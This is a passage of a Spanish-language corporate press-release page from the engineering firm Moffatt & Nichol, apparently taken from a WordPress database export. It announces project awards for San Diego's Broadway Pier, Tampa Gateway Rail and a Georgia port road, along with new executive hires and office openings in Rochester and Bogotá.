(COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-15','','','2013-11-15 16:42:22','2013-11-15 